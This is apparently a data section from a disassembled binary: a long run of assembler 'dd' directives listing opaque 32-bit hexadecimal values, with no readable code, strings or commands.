dd 510BC11Bh, 26607ADAh, 703A7761h, 0BAEC0597h, 832A0Fh
dd 815646ABh, 47F4D930h, 1300EAE0h, 8FCD08Bh, 0C6E18E97h
dd 86737048h, 0D3AE1502h, 40F48C54h, 6FFA1Fh, 927D7FA5h
dd 46FCCCFDh, 0AE1EEA7Ah, 1FF8199h, 0F8B1FF3Dh, 8CFCCD83h
dd 1642F293h, 7181C8Fh, 10A2ED3Eh, 0CCF4BE5Eh, 0F200D2B0h
dd 0F35AAC14h, 1D2B07C5h, 49C0F10Dh, 0CD837650h, 0B1A0A058h
dd 0B70E26F4h, 80CD7120h, 54DB6B3Ch, 37C200E4h, 1FF1AEBh
dd 30068A7h, 0D2BA8A7Eh, 60AFEE2h, 6487B38Fh, 4F7D806Eh
dd 0B1FCCF00h, 0E42BC4F2h, 3E77153h, 0D7B080B3h, 6E0CDEBh
dd 4A00A208h, 2FB4B5A9h, 3576E9Bh, 43385D44h, 0A1E09D8Dh
dd 94607D01h, 1079FCC8h, 0DC2E0711h, 0E031405Fh, 6DB9C99Bh
dd 0B27DA600h, 0E6E57A72h, 0FCEC00F8h, 57B7E409h, 0AC773ECBh
dd 3A64B007h, 0EEC05BC5h, 0BF80B8h, 81DFC1BAh, 0E32DF5B3h
dd 0DE97FB14h, 86DC0A84h, 1A83C088h, 1C0250EEh, 0F03BA250h
dd 9CA12E90h, 0F75EFE00h, 8AAE3A33h, 0E6BE0F9Bh, 0CFA040F1h
dd 591D7775h, 0CCFBED0Eh, 3C102003h, 759DD2ACh, 5B3A01C6h
dd 547CFEB6h, 0B356DC79h, 7644F902h, 974818DEh, 9B00F504h
dd 77D957E0h, 8E21067Bh, 207DD227h, 2D5F4400h, 0FB65DA70h
dd 33950061h, 0B8A404B2h, 0BF3A0F4Fh, 0A85B8078h, 0C4945E79h
dd 8982E2Ch, 5DF10056h, 0E84EB965h, 0D682671Bh, 0EF110271h
dd 0EEBF4251h, 82D0E0E3h, 0A40046D3h, 8C5629AEh, 775AB9Dh
dd 2B3690DFh, 0BFD870E3h, 5B1F6A0Ch, 0C1B038BDh, 2E2D56Eh
dd 0B2C4C3EFh, 3480FA79h, 0FDAD4A3Eh, 6946D100h, 0BE5F94F9h
dd 56B87Bh, 0EE7A49Fh, 0C31D1650h, 8F3D560Ch, 37A381Bh
dd 91E82573h, 0C7C8221Ch, 0D900F1CFh, 0DB353D43h, 54B1756Ah
dd 0A2A348Ah, 0C99CDF52h, 9FAB40ACh, 4D01249Dh, 41EEB879h
dd 0C7A488h, 0B5F37821h, 0D8622C60h, 654E75Ch, 410409D4h
dd 0A0F20020h, 52EEBCB5h, 0A6000DD3h, 0B2CD1ED0h, 30DA96F8h
dd 5A694F3Ah, 0F50C1BF4h, 91D9676Bh, 0FE200003h, 4C50B763h
dd 0DD00C9FAh, 6B4FEA84h, 47CF292h, 0B35E85A8h, 9424721h
dd 0FFFAF760h, 0D3241806h, 6B7A619Dh, 7700F3Fh, 349779E3h
dd 0C1110140h, 15DB1E91h, 81E4A9A8h, 814CFE70h, 5009CDE9h
dd 0CFCC3CD0h, 6E89581Ch, 0FE31F258h, 0A8533111h, 83FCE881h
dd 0AEDABD78h, 80082A34h, 507708h, 9504A0E2h, 11695796h
dd 4A1BFD04h, 2883743Bh, 4B3EF1FEh, 240C4917h, 0CA9F8A0h
dd 673C2323h, 35414A20h, 79DC8338h, 0A0D35441h, 4C231B85h
dd 0E006C070h, 1C3BBD03h, 4EC137D1h, 0AAB88029h, 0F11D1F41h
dd 0BCC97B10h, 85341839h, 0A4435435h, 29B030A8h, 0BA81A1D6h
dd 0F006E0A8h, 94C9F800h, 7A277F99h, 81B5000Fh, 0CE41A755h
dd 17623CBAh, 20CC6779h, 4ED9086Bh, 49DC3900h, 9526892Eh
dd 36520F9h, 0A6AA2C06h, 31823Eh, 923D5B7Eh, 75B23621h
dd 8C748DB8h, 20AC8A30h, 33BF374h, 50B3CD65h, 8E0EB5Bh
dd 0A658DBFEh, 2923814Ch, 250019E2h, 6618E7D5h, 0EDC9BFB3h
dd 0AEE63091h, 0DDEF79E8h, 0C3416B02h, 49061CB5h, 36F4F8h
dd 0A8A0D59Eh, 39A52200h, 448AD39Ah, 0FC690D02h, 482134ACh
dd 34BCB990h, 49A940h, 5B0D3BECh, 67304E21h, 80319A1h
dd 3707183h, 0EDF69F87h, 91ACE816h, 87926720h, 0FB20A9F9h
dd 71593FE0h, 107200A1h, 0DB88FC2h, 3700D583h, 6B6D1BAh
dd 0A40ACDBDh, 1B8520C4h, 621A7C00h, 0B26B22A4h, 83000FCh
dd 16EC9CBh, 0A0693FFFh, 8B210091h, 8E6756h, 0F7331094h
dd 0AFA80DD7h, 0A76D0A13h, 89C3BC09h, 0BF00226Ah, 0FC706439h
dd 79A70127h, 4FB2A166h, 0BE199F05h, 0E480CFDFh, 50560725h
dd 1CA0009Ah, 0A35C906Eh, 26018334h, 0BBCE70B2h, 39807A77h
dd 66EDCA1h, 210936F7h, 1081AC2Fh, 3FC294C4h, 6A81BEADh
dd 0AFE23072h, 179FC8B2h, 33543903h, 369147C1h, 0B13855B1h
dd 0D5C2CF10h, 0F9CD6718h, 5D023406h, 0BDD45387h, 718C6BBh
dd 1D11AEE8h, 0F14E3073h, 0BE04A7AAh, 8B338CFFh, 253088Ch
dd 57590598h, 0E3804771h, 630F49Ch, 0D6013AF8h, 3F761EA4h
dd 54246CD2h, 1F9B0768h, 21606F5Dh, 203AC7A5h, 21C06EF0h
dd 411FF28Fh, 223753Dh, 53D8AA9Eh, 90903CBDh, 2A035105h
dd 0AD5AC098h, 0CFBB0Ah, 0C92990F0h, 0FED95F3Dh, 9443A406h
dd 0E2D082BAh, 2EB70FCFh, 5764420h, 2A746210h, 6A234Ch
dd 3EB575E6h, 791D7EC0h, 0F980235Bh, 7BB1A3D9h, 31A824A6h
dd 0B353410Ch, 11D02496h, 80CEA58h, 0C71BDA6h, 0F297B70h
dd 0CC19DD07h, 92F3DF42h, 0ED190078h, 0AB946AB5h, 6613FF60h
dd 8032B89Ch, 0BF9D2170h, 0FFFC246Ch, 7997BC18h, 3D49641h
dd 0DA9557EBh, 0C91F4B3Fh, 0A9C49C20h, 892EC6Fh, 301446C1h
dd 2CA182CDh, 9C3EC4B9h, 3E5D83E9h, 0BF492AF1h, 0BD20F4F0h
dd 0B66B12AAh, 32884076h, 9E407DDCh, 0A697CD07h, 8A607263h
dd 2E7F4167h, 2030E0E4h, 4B061454h, 241E88AEh, 4644226Fh
dd 82B900C8h, 3564F11Bh, 7800950Eh, 63DDA9FEh, 0F609A1BFh
dd 8806002Bh, 5F61667Eh, 0C1C0A5B3h, 0C23CC75Eh, 7BBD0194h
dd 3F44660Dh, 0F55882DFh, 0C16AF8AAh, 4470A5F8h, 2491C0F4h
dd 0DBBC4EE0h, 0F7EDAF09h
dd 0AE2800A9h, 4A9821h, 93B2A761h, 0B45FDD52h, 350924FAh
dd 2080DE6Ch, 0EDAD4E48h, 0C074F413h, 0EECF3238h, 70FA5139h
dd 8BD5070Ch, 4849494Bh, 0FC8018C7h, 232808A1h, 5D0318A4h
dd 868A0626h, 74FEBFBh, 3B0BBCC1h, 9136C02Bh, 38008061h
dd 6803DC58h, 180263h, 0E77026C3h, 5B2D6CDh, 0CBDA8100h
dd 29B324EFh, 5F4132FCh, 0A762FAC8h, 0B9484463h, 0D7AE8018h
dd 0A956CBD8h, 0C851749Ch, 0B531D63Dh, 761126EFh, 811EE8h
dd 70ECE713h, 3B00BEA6h, 6FCF278Ah, 90B2BFE8h, 2B46FCh
dd 35B11F97h, 84A48280h, 0E8B6144h, 0F333C2CEh, 97C2ACCEh
dd 0A8803C2Dh, 76E86CBEh, 6D648A0h, 9FADD91Eh, 0BF9596FAh
dd 0F4331C4Ah, 5C323589h, 0A62300B0h, 0B2C4C640h, 1794E449h
dd 0D801853Eh, 0B3E22548h, 11050829h, 0FBC03B5h, 8FA6D5F0h
dd 0C8C820D1h, 1F90C0E8h, 2821354Ah, 189F9187h, 0CBE88BBAh
dd 0CE740112h, 42FF41C6h, 933C2446h, 0D8E0A933h, 28D2809Ah
dd 708B861h, 4F338A49h, 8021D4B7h, 1F1B53FCh, 3DF6B448h
dd 814B0095h, 371D63CFh, 0BB339F5h, 0DC5DD300h, 41FAF49Eh
dd 0E53BDCB0h, 35EF808Ah, 3D96257h, 0FD8100E2h, 20D4D80Ch
dd 7C07BFCEh, 5B4368F7h, 3575F6B0h, 55D707DFh, 504DC371h
dd 0C5BA3BC2h, 2E066D00h, 48227557h, 6FC103BFh, 8112E5D6h
dd 5CB06BE0h, 96A87F03h, 0A03037B2h, 0FADCF52h, 65A5DCF5h
dd 0E4104880h, 0BE1CB022h, 69870697h, 1F533B85h, 0CF48A04Eh
dd 9AF5004Dh, 0BDA42721h, 44F6CCF1h, 2171F030h, 5C9AFD73h
dd 5C07059Dh, 308DB2E6h, 0F63B4CE5h, 0C131741Ch, 647B82C0h
dd 6B16C4Bh, 9C90A7D6h, 0AD3A4084h, 0B29D0F2Ch, 11C86CEBh
dd 9F1B586Fh, 2F70850Eh, 8737B26h, 0F21EA65h, 2E2B9D01h
dd 77D40E9Eh, 2E7EE9Ah, 7893AF8h, 0E05FB038h, 0DE4E9EB8h
dd 0AD1879D8h, 0F704A0EEh, 5A6C3F0Ch, 0E850F6h, 0B0C7F92Ah
dd 0CA8F5027h, 96087566h, 9C1A0BA1h, 781C5F7h, 0D0DDD476h
dd 170A9E4Ch, 0A497A994h, 32D88F00h, 0E2915B22h, 6C600FEh
dd 0AD0F9B35h, 0BD7EF460h, 0B1082E00h, 28C8736Dh, 1ED80049h
dd 11E726E4h, 0F300A309h, 0B2231948h, 7D84E29Bh, 0A1CF013Bh
dd 0F182AB3Fh, 0EE9F439h, 9E2C0400h, 14E7182Ah, 7D2F00A6h
dd 0AE9D3744h, 6E00F66Fh, 28F73CD5h, 0FCC2296h, 8F29483Dh
dd 1F053300h, 0B00E6F6h, 59EE9F80h, 699C14h, 121C308Ah
dd 21B81D44h, 8FE05D0Fh, 0A9A68003h, 3C7E7C8Bh, 0CD3D38D5h
dd 685559Fh, 8101E88h, 0C54B9600h, 0EFA35222h, 0A1700176h
dd 0CC289B8Ch, 0A8618F74h, 0C2DC403Ah, 0EA854191h, 111B30C8h
dd 0EDDD7741h, 64E50600h, 67E45633h, 42720CA0h, 0A678BBE0h
dd 0F8F5B500h, 896B0F0Bh, 3FC203EDh, 9970CD48h, 88C0E6EAh
dd 34E4EE54h, 0ECB6E00h, 2C7671BFh, 538830B1h, 84B42331h
dd 98891602h, 27589E19h, 0CF726194h, 8A90816Ah, 9FF4C946h
dd 19375C70h, 8C1230Eh, 31D18770h, 3DBFBBEh, 0B6C69Dh
dd 2FE49AC9h, 8434C881h, 87350E00h, 0F6688003h, 0CC460392h
dd 4E828D28h, 0A5113100h, 1CCF353Eh, 4AE6009Ah, 4C6255C8h
dd 29000547h, 6C461F04h, 888009h, 0A8F12C39h, 2ED5B5E3h
dd 6B5E9600h, 14AE24ACh, 4A773303h, 0ED93BD58h, 84F5100h
dd 8DA9C629h, 9975003Fh, 6C60B4A7h, 4801386Bh, 0F4E1DCA6h
dd 204E0797h, 80E98E08h, 0B69BC060h, 43F60118h, 4463475Eh
dd 0BECBDC06h, 1D8AA30Dh, 9AE8E12Ch, 51A20EA7h, 38E1DCE6h
dd 0F492B5D2h, 4800610Dh, 6F728011h, 0A029CCF9h, 28A6BCh
dd 543D449Fh, 1F6A686Ch, 3CAB743Ah, 0CD20607Eh, 1AC4628h
dd 5E1C3CBh, 9113D0D6h, 19FF849h, 4454E846h, 6E000B69h
dd 14846A9h, 7B541330h, 520004ECh, 6EEDE7E1h, 6112120h
dd 0A91299FAh, 1E7B209Fh, 5402F100h, 0F331BCE9h, 2C4D0159h
dd 0FEBDF8E6h, 4CF881DDh, 841B1DA6h, 3D6A8450h, 929E01EEh
dd 0CB3A21F0h, 5C08982Ah, 454921h, 7B4772EEh, 6193815Fh
dd 1B88F11h, 7C1BAD0Fh, 6ADADF81h, 0AEC0806Fh, 754E5E0Fh
dd 0B7700B8h, 0B654CD5Ch, 23005ACFh, 6B9028F8h, 97B97B60h
dd 4A2DEF40h, 6385800Ch, 3AA8594Fh, 48C85E02h, 0A0D515DCh
dd 40BB8515h, 63E9160Ch, 1721AAD8h, 0EE240087h, 2078ACD7h
dd 9AC48085h, 2EDFA1E3h, 66D00B00h, 0A30A7519h, 6A370963h
dd 0E4190181h, 23E84A13h, 46AC03F4h, 0AB925424h, 72DA0016h
dd 961E8046h, 0D8A8CD13h, 0E707ED75h, 565B205Dh, 2EB106A0h
dd 96F9000Fh, 47549346h, 0A63F2173h, 8C858698h, 25002B7h
dd 0E79C3688h, 0A7836615h, 0D2E7EC80h, 0ECA0EB83h, 7E7A174h
dd 0BEBB3D1Fh, 1BC07037h, 304FA7h, 7E60467Fh, 1D1095D3h
dd 0C2BCB000h, 88E15FDEh, 309D604Ah, 80BF3E29h, 0C8C6ED24h
dd 21384424h, 0F4D380CDh, 30D92991h, 0D87F4586h, 0C500FAB0h
dd 0D095B2F9h, 3519302h, 0B6F8C2CAh, 8BB3C775h, 184CB154h
dd 0EE4E048Ch, 6248AC21h, 84CA20A3h, 930013E0h, 0C573D00Eh
dd 2ADFC54h, 16B587A3h, 0AE409215h, 0E4A83A81h, 0F307140Bh
dd 10037973h, 3BF9E8C0h, 0B1E26013h, 0ECBFA8F0h, 2C44F3Bh
dd 7B621A43h, 1DC09FE5h, 9802135h, 0E01AC97Ah, 707903D3h
dd 0CD4A5C6Dh, 28868031h, 0D1A6B71Dh, 67300EDh, 0B66FE9BAh
dd 5CABD000h, 5DF51858h, 2D5200EBh, 6914F173h, 7746803h
dd 9C877CB0h, 50675D44h, 0CDFEC0Ah, 127D5A00h, 18DC0749h
dd 0DA5924E5h, 21DB9250h, 3045F0E8h, 753C6BC0h, 7017007Dh
dd 84307B4h, 936804FDh, 88AE65F9h, 83071F88h, 3779A19Dh
dd 0BD858731h, 37E2C66h, 0A8CDA749h, 99C06B31h, 3E5CC64Ch
dd 0C0210120h, 4460B1E8h, 784FDC50h, 0E2A100D1h, 53208E92h
dd 0DF3B61C6h, 48540FF6h, 5AEC080h, 3C9ADBh, 82941609h
dd 92146B32h, 1518C377h, 0B1405D1Ch, 37C53190h, 0C4B8C958h
dd 5E0070CCh, 7B1491D4h, 3EDBFF29h, 0D62A71D3h, 57F00384h
dd 7F642F2Bh, 5518B400h, 38B9585Bh, 29A40773h, 0E40F6344h
dd 88B49105h, 1FC1EB6Bh, 83118190h, 0E7D65460h, 0E633A440h
dd 5C9EFE07h, 0BA50781Ch, 0B0960142h, 36AE4782h, 57388197h
dd 816D0713h, 1C0DB970h, 802C8021h, 5C9FF2F5h, 183D8BAEh
dd 8A3B87D3h, 0F4A2E23Ah, 10209CBCh, 0C22FDF94h, 64086A8Ah
dd 0ACB11CB8h, 1324FCA9h, 0EE3FC228h, 36407161h, 5722A4h
dd 0B9E3671Fh, 3229D153h, 0F6995A01h, 0D7D324D2h, 0EDD80825h
dd 53AA006Bh, 8931AF6Ch, 8088111Dh, 8A4200CCh, 0D58D692Fh
dd 0F03DEF77h, 5D5E00EBh, 8B85EA17h, 60AA0096h, 0C8DAA47Ah
dd 882AEF2Eh, 9402D0D5h, 0DAF3EA1h, 4FB0802Fh, 5C5A08A0h
dd 7A1E0CB4h, 2EC71FFBh, 0E26B004Ch, 0B25C5BC8h, 6A3880C4h
dd 4F9F6CC0h, 0EA350F45h, 3F81A384h, 8C2EC4CFh, 0C98ADB50h
dd 0B71051EEh, 4CF8B800h, 99E0015Ah, 0DD79E9FFh, 0E71881CEh
dd 19398505h, 0F2F7B447h, 80CB3887h, 37107B94h, 0FA28C0CDh
dd 0E4ADE62h, 403B3076h, 6B18E151h, 24229AB1h, 3049629h
dd 67ADCAAh, 892F7F89h, 7735D8h, 0CF466B6Ch, 11101312h
dd 0AD6C005Fh, 89666D2Ah, 3F78E349h, 207B9E4Fh, 0A0208424h
dd 87007571h, 894C98DDh, 16986AAh, 7B7E55ADh, 50018012h
dd 0F81F0528h, 58904879h, 896BC080h, 93FB98C2h, 14BCC41Dh
dd 5C45DE92h, 0AE2400DFh
dd 41857CF8h, 10137B0Ch, 10E75979h, 404B5755h, 8071B90h
dd 4A19316h, 0ED84DA84h, 345A4805h, 7C224C84h, 0AF84B184h
dd 0AA3E5C22h, 0F1201019h, 7340E8BDh, 0A0843B50h, 8925B7Eh
dd 540AC479h, 48ED8F13h, 85A35A11h, 4868CC31h, 0B0D507B1h
dd 36CC9A4h, 0CE850B69h, 717FDAE0h, 81E50830h, 0EC8A1F6Bh
dd 0F818A179h, 30FB6D0h, 38937ADh, 0A1142FB7h, 1C7071h
dd 0EBBB0712h, 2A0DAED5h, 0ACC7ACCh, 0D9278596h, 0B9A9808Ch
dd 0BA2F3408h, 2A304758h, 0C3C84EEh, 0CCAE0085h, 42FA73A3h
dd 0F2090F8Fh, 8300A13Fh, 0B8F71102h, 0DA103460h, 3EE3E5AFh
dd 29023D71h, 0F74EBB81h, 28063489h, 0AD00C156h, 0AFAB01A4h
dd 558F15B1h, 0F801A08Ch, 58BA29F8h, 5F016449h, 0EB97B918h
dd 0B79889EFh, 550C2331h, 0C8CE88CDh, 2ADD48E3h, 40206112h
dd 0E6F9F158h, 0D105294Ah, 0CEAAAD31h, 622D780h, 0EA103A2Ch
dd 0A33893ACh, 22FE440h, 38DDE13Fh, 0C804CF74h, 589DF3A3h
dd 2D620E0h, 0F78DDE06h, 88EA2684h, 399BAC06h, 54631528h
dd 44E610C6h, 6C0B120h, 3832E209h, 854AD30h, 0B8ACE6AAh
dd 70D0AA4h, 87A4BD10h, 99E405F3h, 0EDC21093h, 32D80C82h
dd 18515A11h, 0E001354Ch, 36918E38h, 6E37C0B3h, 174529D8h
dd 40E3CCD0h, 0AE8FDF6Ch, 5B009EB2h, 34B51D09h, 1308AB64h
dd 1401B53h, 481E1678h, 74A2D504h, 9F882D4Ch, 57F34C81h
dd 424BA900h, 3FB666ACh, 85D579C0h, 16C02AB4h, 721FA29h
dd 5053AF63h, 0BE11A32Eh, 0E4223200h, 1F871259h, 9AE8DDh
dd 0F3BD0151h, 23187458h, 0D828EA00h, 90EF92A6h, 2EEC9AD9h
dd 0BE406FBEh, 0C0EDC59Fh, 9CE5F6AEh, 6E1766B2h, 7E0FF53Ch
dd 0A476A05Dh, 3A5699h, 0BE38C8BDh, 0B3EB2366h, 1DAA7A00h
dd 52A51273h, 0DEAE26EEh, 0A223804Ch, 9A26206Ah, 0C0044C01h
dd 24CE0E78h, 9832B6F8h, 0E0102536h, 9FB9C81h, 2B282481h
dd 4DD5EC50h, 26D7E02h, 0A015C6A5h, 0E5C13698h, 0EA54000Bh
dd 81EFCFA4h, 0E40ABC03h, 9C05B473h, 8B5C4780h, 8FFF8Eh
dd 398159B9h, 511DB863h, 3EF5DD00h, 0DAD7EA1Fh, 985E0F3Bh
dd 0A2C034A9h, 7F059022h, 12EFC200h, 524AE823h, 2F1E0266h
dd 0B87346B5h, 6DAAA6E0h, 0CB5A7F00h, 9965150h, 0C90403D6h
dd 0B47E16B9h, 0E455A7D1h, 0D002715Ah, 94506D99h, 0C12CC034h
dd 212707E2h, 0C3F4D4F8h, 0ABA8754Fh, 0BF0757B9h, 122679Fh
dd 0BC07EFF0h, 48B803CCh, 7CA01C5Bh, 19D19906h, 40FF75h
dd 942E6715h, 89275A56h, 6AF54E00h, 0EB18922Ah, 11C600BCh
dd 4890429Ah, 0F0E0B5EAh, 0AC25071Fh, 7E000D50h, 4FAD78B9h
dd 7600E887h, 0EC29ED02h, 0A5ED412h, 0D50706F9h, 0F4D601F9h
dd 0D3203C1Fh, 2213881Ch, 97DFD3C0h, 0C092C8AFh, 6C177318h
dd 0D60C8BADh, 3CDECCFFh, 1EDC07C0h, 0B6033798h, 0D40740F1h
dd 0EA086143h, 0C3031097h, 0CFF9E0FEh, 4FE40090h, 0D3B73195h
dd 0B438D87Ch, 96F28027h, 9079C9E3h, 9E4A00FDh, 0AAE018FCh
dd 4FFAB649h, 3470460Fh, 525701CEh, 1120BF99h, 754E7E2Fh
dd 0DCF6008Fh, 674A7FF0h, 0BB64D8D2h, 0EA2EB409h, 90B70F00h
dd 0B343B255h, 2A00B57Ch, 8B07234Dh, 74AC4CE9h, 523C00A0h
dd 0B202D10Ah, 0D2032FB9h, 0C24476C1h, 0F828113Dh, 7BA611BAh
dd 3C28ED11h, 0A084C413h, 4057F228h, 724561D8h, 2134B243h
dd 86081028h, 0D6958850h, 3AA5384h, 0CA475C08h, 3C4994B8h
dd 51E7D918h, 3F88ADC8h, 7DA1C401h, 0B9EE4673h, 81942229h
dd 0D47B2A10h, 1175F111h, 0A0108D03h, 96E300B7h, 2A4B91D0h
dd 5DE700F3h, 0FDD74DDDh, 7C122B88h, 1FBFAF32h, 4AC84097h
dd 38E7780Fh, 7DD02307h, 0A30DF6Dh, 0B33A08h, 0C820363Eh
dd 0D7C9AE11h, 438D9200h, 9489A477h, 167101B6h, 80B93AEEh
dd 242FE46Bh, 0AB658800h, 48223DB8h, 0FBC8FF06h, 9F21001Fh
dd 3BBDCADh, 71003B5Ah, 0A16BD952h, 8062F5h, 0E45FDDDAh
dd 0F8230B31h, 84948h, 1413220Ah, 0E6808C4Dh, 66A50FADh
dd 0C56746E2h, 74C92072h, 700F8A90h, 0D934C3h, 5B2EEE5h
dd 2F9D0F29h, 51613F67h, 30718291h, 7948AC9Bh, 0CA007334h
dd 0C71C53FAh, 739CE7C3h, 0E45B0099h, 30A7AA87h, 0E200DA45h
dd 0A7C03B1h, 748F5E3h, 1BED1909h, 0F898A1E6h, 5D0EC015h
dd 1E81F100h, 7ECD08AAh, 3D32003Eh, 75AF54CEh, 831C1958h
dd 0BC018F2Bh, 0BD72CCF8h, 0FEF4FBE9h, 288E008Dh, 0CF5E27DDh
dd 0BB00BA94h, 9747AF4Fh, 6F8051h, 57935D46h, 34766D10h
dd 4FD81F00h, 9568A07Bh, 0BDFD0727h, 0C9D13B94h, 14C4001Dh
dd 0D0F69C60h, 440FCF7Bh, 0E0561D33h, 54B0D9F9h, 4B070074h
dd 0D3AFBEA4h, 0E7009801h, 15027189h, 50EFF7Fh, 0A98ACD8Eh
dd 0FEC403Fh, 0D3A05F3Bh, 36D1E500h, 196644C2h, 1F4EE39h
dd 47A8CDFCh, 81351703h, 0F9AB9098h, 0B5F0A653h, 5AAF3E23h
dd 0A9431C8Ah, 0F6903AF0h, 48ED1C7Eh, 938EE780h, 5A6DFA8h
dd 0E45AAC99h, 1A8900CDh, 36C81CF0h, 0ED20CA00h, 1F32FD8Dh
dd 0B8C20763h, 0A05FACD9h, 600255ADh, 5676A400h, 87862939h
dd 5CBD004Eh, 9A16FB31h, 8B0055DFh, 38CF3D28h, 0B1894Ah
dd 4F9DB423h, 0D2ED09BBh, 4DC71F02h, 807C05AAh, 0E8C3C2FCh
dd 0D56C00CFh, 6E9344Ch, 5300950Bh, 0B2048279h, 6080CCD8h
dd 1FB418EBh, 55EEAABFh, 0F65AED00h, 0ABFBEFD9h, 7B6F00C4h
dd 3B02E492h, 4548D84Fh, 3E0C07ACh, 0A1A03709h, 799E312h
dd 3677DAECh, 274E80CEh, 44F8E474h, 0B3228F00h, 433C82E0h
dd 360B39F2h, 0FF68BF01h, 7011C7CDh, 62B8DFFDh, 14FC1A00h
dd 563A092Ah, 3C85008Eh, 0BB7390C1h, 8C1C297Dh, 5A001674h
dd 259B7BBEh, 580701B4h, 91B2DF15h, 8FAE408Ch, 0ED0F0F3Bh
dd 0DCB0C3D6h, 3AD24E00h, 50021Fh, 71DE5AD0h, 62AF733h
dd 0A48A3400h, 0AAB2891h, 29DA0197h, 9C0CFD1Ah, 0C3D9EC4Fh
dd 1071E400h, 0D1F9BB03h, 0EC923Bh, 0BD213617h, 0B6BF05C7h
dd 0A000F17Ch, 0FB80D11Dh, 4A0731h, 983A9301h, 6E94190Eh
dd 32C27E00h, 0AE22DC3Ch, 45680536h, 1A53EA7h, 0F73819FFh
dd 824430A2h, 0B7F6570Eh, 6E70E0B1h, 0AB454Fh, 0D2B69554h
dd 0C38B9329h, 0C4BCF800h, 98CB9774h, 70110063h, 0E3776282h
dd 4A00BA20h, 0AED3893Ah, 0FAD4ACh, 7DB61642h, 11E9EEFh
dd 50F77200h, 2B264F1Fh, 0EC9439E1h, 0CAC55F03h, 0BAA1158Fh
dd 63B4419Fh, 0E9CDC0C1h, 0C7189D00h, 6A410E6Dh, 9DF00D9h
dd 0B4F64C43h, 0A5EC2AF8h, 8000DCFAh, 0CBBF1AF3h, 3ADAB8h
dd 0C38EA2C1h, 6D8F7771h, 0FCA0C000h, 0DB0280Ch, 3A7F89h
dd 3E088436h, 0FBE98C06h, 5B1E19ECh, 9E01DD16h, 41EB2F63h
dd 2EB4CCh, 350BA9BEh, 0B531193Ah, 5A005B74h, 5348E682h
dd 0F395F2h, 6152F5A3h, 100CD431h, 390B9700h, 0FB670F48h
dd 5DB11E91h, 8D00FC51h, 0C6AC9A1Dh, 38C0F032h, 17FD958Fh
dd 405C0012h, 0A40BDBABh, 0D807F325h, 0A72C1911h, 930E6FB0h
dd 9022EC5Ch, 7F25002Ah, 0F621E490h, 1807ED2Eh, 3EE53D49h
dd 0D089F823h, 0F4454BDAh, 78DF8F1h, 0E8FC118Ch, 0F04260D7h
dd 0DB00B882h, 0A848B113h, 799B6A87h, 0BFC00BEh, 0E2816CFBh
dd 0D00450Eh, 0F7854938h, 39B4222Fh, 5E00CC13h, 959AAF98h
dd 0BD7C1E4Fh, 2FEFC91Fh, 0CAF94A80h, 7B6F0C48h, 0A48C0085h
dd 18C7E901h, 6B38EB6Dh
dd 0E64700FDh, 381FDC93h, 0D0C350F0h, 91CB0078h, 98E4C28Fh
dd 12393B27h, 45A4802Dh, 7005C4DCh, 0DAC01ED6h, 75B6005Bh
dd 21F98151h, 8CAD7C00h, 7AAA8369h, 2B7920Ah, 0D83DE201h
dd 204048CBh, 92C0356Ch, 0EB8CE608h, 98FB0086h, 0A20342D5h
dd 0E10B4D97h, 20817E4Ah, 602D7468h, 830B011Eh, 16C75BDh
dd 369FF41Ch, 16FFEB00h, 0C7E8F43Eh, 24877AF0h, 1298CF58h
dd 0A2AC0085h, 6E4DC0EDh, 280E1400h, 7EE0F3BEh, 7DEB00FDh
dd 2970AE90h, 0FB0003E2h, 0B745D7F7h, 0F22CD0Ah, 0A59782E6h
dd 13CC0BEh, 60449BC6h, 93A30F0Fh, 5D64C020h, 6A0B4Ah
dd 0E829EE5Ch, 518E30D9h, 5E002D7Ah, 62E78481h, 3F97870h
dd 8FEC2054h, 33809371h, 370002F3h, 2C4E32E4h, 708C77FCh
dd 1F10001Bh, 0CC367E65h, 2D26A8D9h, 0D7002843h, 0BD622E5h
dd 66E74C3Bh, 0E9C22B00h, 0DBD1CCAEh, 112E3Eh, 79F49247h
dd 850B80h, 6663B106h, 0F628F2DAh, 595E8400h, 3D41B2A7h
dd 20E730B5h, 0C9C7DFB0h, 0C86BB805h, 41C16E3Ch, 50E4FF0Ch
dd 0E9E2CBh, 271961ADh, 0BF38C5D4h, 80ACE33Bh, 0CA32B2BCh
dd 4AFEA4h, 0D38DE620h, 3DEDC0E2h, 6BB83375h, 0C300607Eh
dd 4910C57Dh, 5DC539Dh, 9E036CC6h, 6590C0A4h, 8C1F3076h
dd 3B07523Eh, 0A3E1F7AEh, 0C23036DFh, 188E0149h, 34832FBFh
dd 485CEC95h, 2C8CC426h, 0F5A0073Eh, 9A909028h, 0CF5713h
dd 810296A3h, 957518BCh, 2C51EE00h, 538F8604h, 79FC0021h
dd 42BC9026h, 55003527h, 0B2089FCCh, 0B4D22Eh, 0DD170967h
dd 783D5D8Fh, 0C266B100h, 73468357h, 75072D2h, 10388CC0h
dd 0C481297Bh, 70A51301h, 832EC7C9h, 40009CDCh, 3B7F6CB4h
dd 0FE4100B7h, 8F7A51FCh, 0CF00C6E9h, 0D975B2F4h, 571562Ah
dd 4F8ABA8Dh, 59F8009Eh, 0F958D8C1h, 84002F7Ch, 86FA5D7h
dd 72EA3F3Bh, 177F01h, 946D7E54h, 4D7BFD43h, 0A49A902Eh
dd 7980EF1Fh, 0D5CE0353h, 0BB4712D2h, 0B940180h, 0C7C1FF8Ah
dd 0C08CA0B4h, 0A27930Bh, 78BC80E1h, 4A983E19h, 0EE6840C5h
dd 879AABE8h, 0AC266712h, 0E440A300h, 1F86CCDBh, 0CAAEA1h
dd 0FCD36851h, 20FF1887h, 0C496196Bh, 0D82029A4h, 0C91E3E02h
dd 4011F994h, 1FE96C3Ch, 0C0E1B447h, 2F45DF9Ch, 50033966h
dd 10D1F2A1h, 0AA80F067h, 9FC2091Eh, 0D0003548h, 0C6B8C06Ch
dd 87423F00h, 0EA183B2Ch, 357E0FCh, 729F90A3h, 807525EEh
dd 76A8CB00h, 15E4CF5Fh, 0BFB0A828h, 0F256173Eh, 0FE800A2h
dd 354D0916h, 13E0B53Bh, 80006964h, 2D53B3C6h, 0A42C0FD3h
dd 0EBC006E2h, 54F8A782h, 0CF2C501h, 0B148B7CCh, 3A7F6870h
dd 0FA1E64h, 19094144h, 0D6DCC76Dh, 0B4A64D12h, 2084854Eh
dd 0ECA4600Eh, 76660F36h, 0B601A5Ch, 0A5F2833Dh, 11B74402h
dd 60718869h, 16556CA2h, 0B8ACE070h, 621B18F4h, 0DCBA10h
dd 6D54EC4Eh, 0B21FC058h, 7CEB3Ah, 0BAED0E4Ch, 88B551h
dd 0B4D8D3CCh, 632D78E7h, 9600E8E6h, 1345B739h, 0E28E2DBh
